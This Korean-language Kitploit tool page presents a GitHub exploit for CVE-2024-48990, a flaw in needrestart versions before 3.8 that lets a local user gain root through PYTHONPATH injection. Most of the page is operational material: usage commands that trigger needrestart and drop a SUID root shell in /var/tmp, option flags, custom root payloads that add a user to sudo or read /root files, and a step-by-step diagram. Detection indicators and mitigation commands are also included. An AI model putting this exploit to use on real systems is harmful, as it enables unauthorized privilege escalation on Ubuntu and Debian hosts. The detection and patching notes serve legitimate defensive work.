Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/blueberryp1ll/cve-2024-48990
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 PYTHONPATH 인젝션을 통한 로컬 권한 상승

저장소 보기
116개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-48990 — needrestart 로컬 권한 상승

Ubuntu/Debian 시스템에서 PYTHONPATH 주입을 통해 needrestart < 3.8을 대상으로 하는 로컬 권한 상승 익스플로잇.

개요

needrestart는 Ubuntu/Debian 서버에 일반적으로 설치되는 유틸리티로, 라이브러리 업그레이드 후 어떤 서비스를 다시 시작해야 하는지 확인합니다. root 권한으로 실행되며 일반적으로 apt 작업 후 자동으로 트리거되거나 sudo를 통해 직접 호출됩니다.

Python 프로세스를 확인할 때 needrestart는 /proc/<pid>/environ에서 프로세스의 전체 환경을 상속받아 Python 인터프리터를 다시 호출합니다. 여기에는 PYTHONPATH도 포함됩니다. 권한이 없는 로컬 사용자는 다음과 같이 이를 악용할 수 있습니다:

  1. PYTHONPATH를 악성 importlib 패키지가 포함된 디렉터리로 설정
  2. Python 프로세스를 계속 실행 상태로 유지하여 needrestart가 검사 중에 이를 감지하도록 함
  3. needrestart가 실행될 때까지 대기 — needrestart는 root 권한으로 공격자의 importlib/__init__.py를 로드함

영향을 받는 버전

패키지취약 버전수정 버전
needrestart< 3.8>= 3.8

다음에서 확인됨:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

사용법

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

그런 다음 다른 터미널에서 needrestart를 트리거합니다:

root@kitploit:~
# needrestart에 직접 sudo 액세스 권한이 있는 경우:
sudo /usr/sbin/needrestart

# 또는 apt를 통해 트리거 (needrestart는 apt 후크로 실행됨):
sudo apt update && sudo apt install --reinstall coreutils

needrestart가 트리거되면 익스플로잇이 /var/tmp/.rootshell에 SUID 셸을 생성하고 자동으로 root 셸로 전환합니다.

자동 실행이 작동하지 않으면 수동으로 셸을 획득하세요:

root@kitploit:~
/var/tmp/.rootshell -p

옵션

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

옵션:
  -c <command>    root로 실행할 사용자 정의 셸 명령 (기본: suid 셸 복사)
  -w <seconds>    최대 대기 시간(초) (기본: 300)
  -t              트리거 모드: apt를 통해 needrestart를 트리거 시도
  -n              정리하지 않음: 익스플로잇 후 페이로드 디렉터리 유지
  -h              이 도움말 메시지 표시

예제

root@kitploit:~
# 기본 — /var/tmp/.rootshell에 SUID /bin/bash 복사본 생성
./exploit.sh

# apt를 통해 needrestart 자동 트리거 (sudo apt 액세스 필요)
./exploit.sh -t

# 사용자 정의 페이로드: 현재 사용자를 sudoers에 추가
./exploit.sh -c 'usermod -aG sudo targetuser'

# 사용자 정의 페이로드: 제한된 파일 읽기
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# 확장된 대기 (10분)
./exploit.sh -w 600

작동 방식

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload  │
│     that runs os.system() to copy /bin/bash as SUID binary    │
├───────────────────────────────────────────────────────────────┤
│  2. Spawns a long-running Python process with                 │
│     PYTHONPATH=/tmp/.nr_XXXX exported in its environment      │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart runs (via sudo or apt hook), scans            │
│     /proc/*/environ, finds the Python process                 │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart re-invokes python3 AS ROOT inheriting the     │
│     attacker's PYTHONPATH → loads malicious importlib          │
├───────────────────────────────────────────────────────────────┤
│  5. Payload executes as root: cp /bin/bash + chmod 4755       │
│     → attacker runs /var/tmp/.rootshell -p → root shell       │
└───────────────────────────────────────────────────────────────┘

참고 사항

  • SUID 셸은 /tmp/ 대신 /var/tmp/에 배치됩니다. /tmp는 일반적으로 nosuid로 마운트되어 SUID 비트가 자동으로 제거되기 때문입니다.
  • 악성 importlib/__init__.py는 페이로드 실행 후 sys.path와 sys.modules를 정리하여 실제 importlib을 복원하므로 needrestart가 눈에 띄게 충돌하지 않습니다.
  • 가짜 Python 프로세스는 needrestart의 인터프리터 스캔과의 호환성을 높이기 위해 실제 .py 파일( -c 원라이너 아님)을 실행합니다.

탐지

이 익스플로잇이 사용되었음을 나타내는 지표:

  • /var/tmp/ 또는 /tmp/에 예상치 못한 SUID 바이너리 존재
  • 임시 디렉터리를 가리키는 비정상적인 PYTHONPATH 값을 가진 Python 프로세스
  • importlib/ 하위 디렉터리를 포함하는 /tmp/.nr_* 패턴의 디렉터리

완화

root@kitploit:~
# needrestart를 패치된 버전으로 업데이트
sudo apt update && sudo apt install needrestart

# 또는 인터프리터 스캔을 완전히 비활성화
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

참고 자료

  • CVE-2024-48990
  • Qualys Advisory — needrestart LPE
  • Ubuntu Security Notice USN-7117-1

면책 조항

이 도구는 인가된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.

라이선스

MIT

도구 다운로드